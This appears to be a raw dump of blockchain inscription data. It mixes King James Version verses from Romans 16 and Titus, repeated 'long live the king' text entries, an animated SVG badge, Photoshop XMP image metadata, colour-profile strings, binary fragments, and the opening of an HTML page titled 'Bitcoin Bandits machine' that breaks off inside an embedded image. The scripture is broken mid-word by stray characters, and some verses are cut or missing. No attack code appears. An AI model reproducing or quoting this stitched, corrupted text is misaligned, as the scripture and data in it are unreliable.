16:3: Greet Priscilla and Aquila my helpers in Christ M
16:4: Who have for my life laid down their own necks: unto whom not only I give thanks, but also all the churches of the Gentiles.
16:5: Likewise greet the church that is in their house. Salute my wellbeloved Epaenetus, who is the firstfruits of Achaia unto Christ.
16:6: Greet Mary, who bestowed much labour on us.
16:7: Salute Andronicus and Junia, my kinsmen, and my fellowprisoners, who are of note among the apostles, who also were in Christ before me.
16:8: Greet Amplias my beloved in the Lord.
e Urbane, our helper in Christ, and Stachys my beloved.
16:10: Salute Apelles approved in Christ. Salute them which are of Aristobulus' household.
16:11: Salute Herodion my kinsman. Greet them that be of the household of Narcissus, which are in the Lord.
16:12: Salute Tryphena and Tryphosa, who labour in the Lord. Salute the beloved Persis, which laboured much in the Lord.
16:13: Salute Rufus chosen in the Lord, and his mother and mine.
16:14: Salute Asyncritus, Phlegon, Hermas, Patrobas, Hermes, and the brethren wM
16:15: Salute Philologus, and Julia, Nereus, and his sister, and Olympas, and all the saints which are with them.
16:16: Salute one another with an holy kiss. The churches of Christ salute you.
16:17: Now I beseech you, brethren, mark them which cause divisions and offences contrary to the doctrine which ye have learned; and avoid them.
16:18: For they that are such serve not our Lord Jesus Christ, but their own belly; and by good words and fair speeches deceive the hearts of the simple.
For your obedience is come abroad unto all men. I am glad therefore on your behalf: but yet I would have you wise unto that which is good, and simple concerning evil.
16:20: And the God of peace shall bruise Satan under your feet shortly. The grace of our Lord Jesus Christ be with you. Amen.
16:21: Timotheus my workfellow, and Lucius, and Jason, and Sosipater, my kinsmen, salute you.
16:22: I Tertius, who wrote this epistle, salute you in the Lord.
16:23: Gaius mine host, and of the whole church, saluteth you. ErasM
tus the chamberlain of the city saluteth you, and Quartus a brother.
16:24: The grace of our Lord Jesus Christ be with you all. Amen.
16:25: Now to him that is of power to stablish you according to my gospel, and the preaching of Jesus Christ, according to the revelation of the mystery, which was kept secret since the world began,
16:26: But now is made manifest, and by the scriptures of the prophets, according to the commandment of the everlasting God, made known to all nations for the obedience of faith:
16:27: T>o God only wise, be glory through Jesus Christ for ever. Amen.h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/plain;charset=utf-8
long live the kingh!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
Adobe Photoshop 23.4 (Macintosh)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "M
> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)" xmp:CreateDate="2023-02-14T14:20:59+01:00" xmp:MetadataDate="2023-02-14T14:20:59+01:00" xmp:ModifyDate="2023-02-14T14:20:59+M
01:00" xmpMM:InstanceID="xmp.iid:29ae5421-142c-4f67-ab16-c54dc9023733" xmpMM:DocumentID="adobe:docid:photoshop:a556e858-d343-2f48-87e4-9cbfde66cb5f" xmpMM:OriginalDocumentID="xmp.did:40a07b10-9e9b-415c-9429-729a3c31534b" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" dc:format="image/jpeg"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:40a07b10-9e9b-415c-9429-729a3c31534b" stEvt:when="2023-02-14T14:20:59+01:00" stEvt:softwareAgent="Adobe Photoshop 23.4 (MacintoM
sh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:29ae5421-142c-4f67-ab16-c54dc9023733" stEvt:when="2023-02-14T14:20:59+01:00" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:a3a931a8-7173-114a-b942-0f9d4a10b6d3</rdf:li> <rdf:li>adobe:docid:photoshop:cf361a66-7bc9-1040-aa08-1f68bd48af0f</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"%8(+(+(8U5>55>5UK[JEJ[K
"%8(+(+(8U5>55>5UK[JEJ[K
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
AUTHORIZED KING JAMES VERSION
1:1: Paul, a servant of God, and an apostle of Jesus Christ, according to the faith of God's elect, and the acknowledging of the truth which is after godliness;
1:2: In hope of eternal life, which God, that cannot lie, promised before the world began;
1:3: But hath in due times manifested his word through preaching, which is committed unto me according to the commandment of God our Saviour;
1:4: To Titus, mine own son after the common faM
ith: Grace, mercy, and peace, from God the Father and the Lord Jesus Christ our Saviour.
1:5: For this cause left I thee in Crete, that thou shouldest set in order the things that are wanting, and ordain elders in every city, as I had appointed thee:
1:6: If any be blameless, the husband of one wife, having faithful children not accused of riot or unruly.
1:7: For a bishop must be blameless, as the steward of God; not selfwilled, not soon angry, not given to wine, no striker, not given to filthy lucre;
over of hospitality, a lover of good men, sober, just, holy, temperate;
1:9: Holding fast the faithful word as he hath been taught, that he may be able by sound doctrine both to exhort and to convince the gainsayers.
1:10: For there are many unruly and vain talkers and deceivers, specially they of the circumcision:
1:11: Whose mouths must be stopped, who subvert whole houses, teaching things which they ought not, for filthy lucre's sake.
1:12: One of themselves, even a prophet of their own, said, The Cretians are aM
lway liars, evil beasts, slow bellies.
1:13: This witness is true. Wherefore rebuke them sharply, that they may be sound in the faith;
1:14: Not giving heed to Jewish fables, and commandments of men, that turn from the truth.
1:15: Unto the pure all things are pure: but unto them that are defiled and unbelieving is nothing pure; but even their mind and conscience is defiled.
1:16: They profess that they know God; but in works they deny him, being abominable, and disobedient, and unto every good work reprobate.
2:1: But speak thou the things which become sound doctrine:
2:2: That the aged men be sober, grave, temperate, sound in faith, in charity, in patience.
2:3: The aged women likewise, that they be in behaviour as becometh holiness, not false accusers, not given to much wine, teachers of good things;
2:4: That they may teach the young women to be sober, to love their husbands, to love their children,
2:5: To be discreet, chaste, keepers at home, good, obedient to their own husbands, that the word of God be not M
2:6: Young men likewise exhort to be sober minded.
2:7: In all things shewing thyself a pattern of good works: in doctrine shewing uncorruptness, gravity, sincerity,
2:8: Sound speech, that cannot be condemned; that he that is of the contrary part may be ashamed, having no evil thing to say of you.
2:9: Exhort servants to be obedient unto their own masters, and to please them well in all things; not answering again;
2:10: Not purloining, but shewing all good fidelity; that they may adorn the doctrine ofM
 God our Saviour in all things.
2:11: For the grace of God that bringeth salvation hath appeared to all men,
2:12: Teaching us that, denying ungodliness and worldly lusts, we should live soberly, righteously, and godly, in this present world;
2:13: Looking for that blessed hope, and the glorious appearing of the great God and our Saviour Jesus Christ;
2:14: Who gave himself for us, that he might redeem us from all iniquity, and purify unto himself a peculiar people, zealous of good works.
2:15: These things speak, M
and exhort, and rebuke with all authority. Let no man despise thee.
3:1: Put them in mind to be subject to principalities and powers, to obey magistrates, to be ready to every good work,
3:2: To speak evil of no man, to be no brawlers, but gentle, shewing all meekness unto all men.
3:3: For we ourselves also were sometimes foolish, disobedient, deceived, serving divers lusts and pleasures, living in malice and envy, hateful, and hating one another.
3:4: But after that the kindness and love of God our SavM
iour toward man appeared,
3:5: Not by works of righteousness which we have done, but according to his mercy he saved us, by the washing of regeneration, and renewing of the Holy Ghost;
3:6: Which he shed on us abundantly through Jesus Christ our Saviour;
3:7: That being justified by his grace, we should be made heirs according to the hope of eternal life.
3:8: This is a faithful saying, and these things I will that thou affirm constantly, that they which have believed in God might be careful to maintain good works.M
 These things are good and profitable unto men.
3:9: But avoid foolish questions, and genealogies, and contentions, and strivings about the law; for they are unprofitable and vain.
3:10: A man that is an heretick after the first and second admonition reject;
3:11: Knowing that he that is such is subverted, and sinneth, being condemned of himself.
3:12: When I shall send Artemas unto thee, or Tychicus, be diligent to come unto me to Nicopolis: for I have determined there to winter.
3:13: Bring Zenas the lawyer and AM
pollos on their journey diligently, that nothing be wanting unto them.
3:14: And let ours also learn to maintain good works for necessary uses, that they be not unfruitful.
3:15: All that are with me salute thee. Greet them that love us in the faith. Grace be with you all. Amen.h!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Adobe Photoshop 23.4 (Macintosh)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:DescriptionM
 rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)" xmp:CreateDate="2023-02-14T14:20:39+01:00" xmp:MetadataDate="2023-02-14T14:20:39+01:00" xmp:ModifyDate="2023-02-14T14:20:39+01:00" xmpMM:InstanceID="xmp.iid:a35d7a0a-bde3-4d07-a596-869312938942" xmpMM:DocumenM
tID="adobe:docid:photoshop:48589dc7-ddf7-de43-af28-e8a35b8c75e5" xmpMM:OriginalDocumentID="xmp.did:941cc4fe-f75f-4267-869e-cdc28dbba38f" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" dc:format="image/jpeg"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:941cc4fe-f75f-4267-869e-cdc28dbba38f" stEvt:when="2023-02-14T14:20:39+01:00" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:a35d7a0a-bde3-4d07-a59M
6-869312938942" stEvt:when="2023-02-14T14:20:39+01:00" stEvt:softwareAgent="Adobe Photoshop 23.4 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:a3a931a8-7173-114a-b942-0f9d4a10b6d3</rdf:li> <rdf:li>adobe:docid:photoshop:cf361a66-7bc9-1040-aa08-1f68bd48af0f</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"%8(+(+(8U5>55>5UK[JEJ[K
"%8(+(+(8U5>55>5UK[JEJ[K
text/plain;charset=utf-8
long live the kingh!
text/plain;charset=utf-8
long live the kingh!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
'<%+%%+%<5@404@5_JBBJ_m\W\m
'<%+%%+%<5@404@5_JBBJ_m\W\m
text/plain;charset=utf-8
long live the kingh!
 981b157bd69a17566c3358d973213003G0D
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmp.iid:5M
F88207FACA011ED8F088AC64869F202" xmpMM:DocumentID="xmp.did:5F882080ACA011ED8F088AC64869F202"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5F88207DACA011ED8F088AC64869F202" stRef:documentID="xmp.did:5F88207EACA011ED8F088AC64869F202"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"L
2023-02-14T21:00:22+00:00
2023-02-14T17:01:34+00:00
2023-02-14T21:16:54+00:00xHK<
text/plain;charset=utf-8
long live the kingh!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
